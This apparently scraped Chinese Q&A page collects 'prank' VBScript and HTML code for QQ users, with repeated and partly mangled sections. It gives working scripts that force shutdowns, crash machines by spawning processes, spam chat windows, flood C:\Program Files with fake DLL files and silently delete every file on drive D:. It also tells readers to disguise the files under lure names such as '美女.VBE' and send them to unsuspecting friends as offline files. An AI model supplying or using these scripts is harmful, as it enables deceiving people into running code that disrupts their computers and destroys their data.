Ⅰ qq整人关机代码是什么
下面的复制到记事本，另存为的时候选所有文件最后保存为
zr.vbeon error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾"
Ⅱ QQ空间整人代码和导航小人(默林)怎么弄
整人代码:<iframe name="I1" src="http://blog.lanyue.com/upload/user/58/388916_2905107.txt" width="200" height="250"> </iframe> <iframe name="I1" src="http://blog.lanyue.com/upload/user/58/388916_2901934.txt" width="200" height="250"> </iframe>导航小人(默林)新建TXT文档，写下以下HTML代码 <HTML> <HEAD><TITLE>????欢迎您!？?？</TITLE> <BODY oncontextmenu=self.event.returnValue=false> <SCRIPT> var oPopup = window.createPopup(); var popTop=50; function popmsg(msgstr){ var winstr="<table style=\"border: 1 solid #000000\" width=\"230\" height=\"176\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\" background=\"http://bbs.crsky.com/1113657522/Fid_12/12_127572.gif\" >"; winstr+="<tr><td height=\"30\"> </td></tr><tr><td align=\"center\"><table width=\"90%\" height=\"110\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\">"; winstr+="<tr><td valign=\"top\" style=\"font-size:12px; color: #ffffff; face: Tahoma\">"+msgstr+"</td></tr></table></td></tr></table>"; oPopup.document.body.innerHTML = winstr; popshow(); } function popshow(){ window.status=popTop; if(popTop>1720){ clearTimeout(mytime); oPopup.hide(); return; }else if(popTop>1520&&popTop<1720){ oPopup.show(screen.width-250,screen.height,241,1720-popTop); }else if(popTop>1500&&popTop<1520){ oPopup.show(screen.width-250,screen.height+(popTop-1720),241,172); }else if(popTop<180){ oPopup.show(screen.width-250,screen.height,241,popTop); }else if(popTop<220){ oPopup.show(screen.width-250,screen.height-popTop,241,172); } popTop+=10; var mytime=setTimeout("popshow();",100); } popmsg(" <P><FONT color=#09f709>欢迎光临<P>请记住我们的网址http://</FONT> "); </SCRIPT> </body> <SCRIPT> <!– function crml(nid) { try { nid=new ActiveXObject("Agent.Control.2"); nid.Connected = true; nid.Characters.Load(""); return nid; } catch (err) { return false; } } function chplay () { if (ml=crml ("ml")) { var MerlinID; var MerlinACS; Merlin = ml.Characters.Character(MerlinID); Merlin.MoveTo(200,200); Merlin.Show(); Merlin.Play("Explain"); Merlin.Play("Announce"); Merlin.Speak("欢迎您来"); Merlin.Play("Gestureright"); Merlin.Play("Pleased"); Merlin.Speak("我的网址请记住"); Merlin.Play("Idle1_1"); Merlin.Hide(); Merlin.MoveTo(600,300); Merlin.Show(); Merlin.Play("Surprised"); Merlin.Speak("请四处看看！"); Merlin.Play("Read"); Merlin.Speak("帮忙灌下水哦!!再发表一点点意见"); Merlin.Play("Read") Merlin.Play("GestureUp"); Merlin.Speak("如果您看的上的我帖子的话。尽管转走"); Merlin.Play("DontRecognize"); Merlin.Speak("感谢您的到来！"); Merlin.Play("DontRecognize"); Merlin.Play("Greet"); Merlin.Speak("你的每一次到来"); Merlin.Play("Read"); Merlin.Speak("我都会在这里祝福你"); Merlin.Play("Gestureright"); Merlin.Play("Pleased"); Merlin.Speak("你的支持.才是我的动力"); Merlin.Play("Idle1_1"); Merlin.Hide(); Merlin.MoveTo(600,300); Merlin.Show(); Merlin.Play("Surprised"); Merlin.Play("DontRecognize"); Merlin.Play("Greet"); Merlin.Speak("快给我点好的意见把`.或者联系我"); Merlin.Play("DontRecognize"); Merlin.Play("Greet"); Merlin.Speak("如果喜欢我的空间！您可以加为关注"); Merlin.Play("Read"); Merlin.Play("Greet"); Merlin.Hide(); Merlin.MoveTo(500,300); Merlin.Show(); Merlin.Play("Surprised"); Merlin.Speak("以后要常来哟`更多好玩的等着你"); Merlin.Play("Surprised"); Merlin.Speak("我在这里祝您天天开心"); Merlin.Play("Read"); Merlin.Speak("88!下次再见.以后"); Merlin.Play("Greet"); Merlin.Play("Surprised"); Merlin.Hide(); } } //–> </SCRIPT> <SCRIPT> <!– chplay() –> </SCRIPT> <SCRIPT language=JavaScript><!– function getCookieVal(offset) {var endstr=document.cookie.indexOf(";",offset);if(endstr==-1) endstr=document.cookie.length;return unescape(document.cookie.substring(offset,endstr));}function GetCookie(name) {var arg=name+"=";var alen=arg.length;var clen=document.cookie.length;var i=0;while(i<clen) {var j=i+alen;if(document.cookie.substring(i,j)==arg) return getCookieVal(j);i=document.cookie.indexOf(" ",i)+1;if(i==0) break; }return null;}function SetCookie(name,value) {var argv=SetCookie.arguments;var argc=SetCookie.arguments.length;var expires=(2<argc)?argv[2]:null;var path=(3<argc)?argv[3]:null;var domain=(4<argc)?argv[4]:null;var secure=(5<argc)?argv[5]:false;document.cookie=name+"="+escape(value)+((expires==null)?"":("; expire*="+**pires.toGMTString()))+((path==null)?"":("; path="+path))+((domain==null)?"":("; domain="+domain))+((secure==true)?"; secure":"");}function ResetCounts(name) {visits=0;SetCookie("visits",visit*,**pdate,"/",null,false);location.reload();} //–> </SCRIPT> </HEAD> </body> </html> 然后保存上传，图中中文字为可修改,在评论里加上<iframe id="main" name="I8" frameBorder="0" width="0" scrolling="no" height="0" src="你上传txt文档得到的地址"></iframe>你可以直接将这个↓代码放进评论,其余地方留空,不用编辑:<iframe id="main" name="I8" frameBorder="0" width="0" scrolling="no" height="0" src="http://tree222.blogchina.com/inc/lao.txt"></iframe>
Ⅲ QQ整人关机代码
下面的复制到记事本，另存为的时候选所有文件最后保存为
zr.vbeon error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾"
Ⅳ 安卓手机整人代码，可以强制关机的
现在的android系统不会给你的app可以关机的权限，除非手机root了
Ⅳ 手机qq整人代码
第一步，将以下代码复制到记事本中。on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说潮流哥特，不说就30秒关你机，不信，试试···"" ",0 ,true dim a do while(a <> "潮流哥特") a = inputbox ("说潮流哥特,不然就不关机，快撒，说 ""潮流哥特"" ","说不说","不说",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop上面的文字可以随便改，不印象效果。如果发给MM，你可以逼她说“我爱你”。方法是把上面的“QQ客是好网站”改成“快说我爱你” 内容来自第二步，将记事本文件重命名为 ***.VBE（文件名可以任意起，如“美女.VBE”）如果谁运行了这个QQ炸弹，在30秒后会自动关机。 下面说一下使用方法： 最简单的使用方法是，你直接发给好友，让他运行，然后他就中招了。 还有个更加恶毒的，不在线的QQ好友你可以向他们发送QQ离线文件，几乎80%的人都会好奇这个文件是什么，糊里糊涂就打开了。 打开以后就被QQ炸弹恶搞了 你自己也可以测试一下这个QQ炸弹的威力。
Ⅵ 我要QQ聊天的恶搞代码
首先你在要建一个文本文档（在桌面点右键–新建–文本文档）把下面的你想要的代码复制到文本文档 好 保存把名字txt改成vbs 就OK vbs整人代码大集合 一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可). xx.vbs=> =————————————————————————— On Error Resume Next Dim wsh,ye set wsh=createobject("wscript.shell") for i=1 to 10 wscript.sleep 700 wsh.AppActivate("与 xx 聊天中") wsh.sendKeys "^v" wsh.sendKeys i wsh.sendKeys "%s" next wscript.quit —————————————————————————- 〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓 QQ骚扰信息,也可以用在其它程序上。 二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈—————————————————————————— do msgbox "You are foolish!" loop —————————————————————————- 〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓 三、打开无数个计算器，直到死机—————————————————————————— set wsh=createobject("wscript.shell") do wsh.run "calc" loop —————————————————————————– 〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓 四、直接关机 —————————————————————————– dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "shutdown -f -s -t 00",0 ,true —————————————————————————– 〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓 五、删除D:\所有文件————————————————————————— dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true —————————————————————————- 〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓 六、不断弹出窗口—————————————————————————- while(1) msgbox "哈哈 你被耍了！" loop —————————————————————————- 〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓 七、不断按下alt+f4 （开什么都关闭„„）————————————————————————— dim WSHshell set WSHshell = wscript.createobject("wscript.shell") while(1) WSHshell.SendKeys "%{F4}" loop ————————————————————————— 〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓 八、按500次回车 (以上代码在运行者的电脑上显示500个对话框。其中 do until s=500 ，500可以随意更改) —————————————————————————– dim s do until s=500 s=s+1 msgbox "哥们，给我按500次回车吧",64 loop '———————— ———————————————————— 〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓 九、关不掉的窗口 ———————————————————————————— WScript.Echo("嘿，谢谢你打开我哦，我等你很久 拉！"&TSName) WScript.Echo("你是可爱的小朋吗?") WScript.Echo("哈,我想你拉，这你都不知道吗？") 〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓 [color=#FF0000]复制以这个代码，在桌面建一个文本，把代码放进去，另存为VBS格式， 此代码的威力： 1：开机就强制自动关机 2：cmd命令打不开 3：结束任务不管用 4：F8安全模式也不管用 呵呵！听起来是不是有点恐怖啊，我在我朋友空间里看见也吓了一跳、代码破解方法：就是再运行一次，就可以破解了，也就是第2次保存的那个VBE文件，，PS：不要乱拿软件去整人，发生什么事可不要怪我啊。。 拍拍手 顶起吧！〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓恐怖啊整人小心用 Private Sub Form_Load() Me.Hide End Sub Private Sub Timer1_Timer() '声明变量，其中“count”为静态变量，以便生成不同的文件Dim files As String Dim nr As String Dim c As String Static count As Long '定义要把生成的文件存放在那个目录文件下c = "C:\Program Files\" '生成文件的内容nr = "哈哈，被黑的感觉的不错吧" files = FreeFile '如果a等于a那么就执行If a = a Then 'count不断的加1，以便产生不同的文件名count = count + 1 '产生文件名及文件句柄，并用count作为产生不同的文件名。Open c & "system" & count & ".dll" For Append As #files '向文件写内容Write #files, nr '清除文件句柄，这里很重要，如果不清除，将产生打开文件太多的错误提示Close #files End If End Sub
Ⅶ 手机qq整人代码大全谁有 发一下 谢谢
第一步，将以下代码复制到记事本中。on error resume nextdim WSHshellAset WSHshellA = wscript.createobject("wscript.shell")WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说潮流哥特，不说就30秒关你机，不信，试试···"" ",0 ,truedim ado while(a <> "潮流哥特")a = inputbox ("说潮流哥特,不然就不关机，快撒，说 ""潮流哥特"" ","说不说","不说",8000,7000)msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"loop上面的文字可以随便改，不印象效果。如果发给MM，你可以逼她说“我爱你”。方法是把上面的“QQ客是好网站”改成“快说我爱你” 内容来自第二步，将记事本文件重命名为 ***.VBE（文件名可以任意起，如“美女.VBE”）如果谁运行了这个QQ炸弹，在30秒后会自动关机。下面说一下使用方法：最简单的使用方法是，你直接发给好友，让他运行，然后他就中招了。WScript.Echo("谁令你打开这个软件的")WScript.Echo("这个软件会让你无聊啊！")WScript.Echo("推荐你来的肯定是个坏蛋！")WScript.Echo("欢迎来到被整软件站！")WScript.Echo("是谁设计的？")WScript.Echo("Is me")WScript.Echo("你好，你要点30次确定哦！")WScript.Echo("1")WScript.Echo("2")WScript.Echo("3")WScript.Echo("begin")
Ⅷ qq整人代码
WScript.Echo("谁令你打开这个软件的")WScript.Echo("这个软件会让你无聊啊！")WScript.Echo("推荐你来的肯定是个坏蛋！")WScript.Echo("欢迎来到被整软件站！")WScript.Echo("是谁设计的？")WScript.Echo("Isme")WScript.Echo("你好，你要点30次确定哦！")WScript.Echo("1")WScript.Echo("2")WScript.Echo("3")WScript.Echo("begin")WScript.Echo("30")WScript.Echo("29")WScript.Echo("28")WScript.Echo("呵呵，骗你的，我也累了，88")WScript.Echo("还是在耍你")WScript.Echo("你不想活了？")WScript.Echo("打开这个？")WScript.Echo("无语中……")WScript.Echo("嘿。谁让你点确定的？")WScript.Echo("我还想多耍你一会儿呢！")WScript.Echo("我准备问你一个问题")———–下面别复制——————–纯本人设计
Ⅸ 现在QQ流行的整蛊代码 网警33652 是什么搞的
是一个聊天机器人实现的。已经不能用了。
Ⅹ 手机QQ的整人代码大全
第一步，将以下代码复制到记事本中。on error resume nextdim WSHshellAset WSHshellA = wscript.createobject("wscript.shell")WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说潮流哥特，不说就30秒关内你机，不信，容试试···"" ",0 ,truedim ado while(a <> "潮流哥特")a = inputbox ("说潮流哥特,不然就不关机，快撒，说 ""潮流哥特"" ","说不说","不说",8000,7000)msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"loop第二步，将记事本文件重命名为 ***.VBE（文件名可以任意起，如“美女.VBE”）
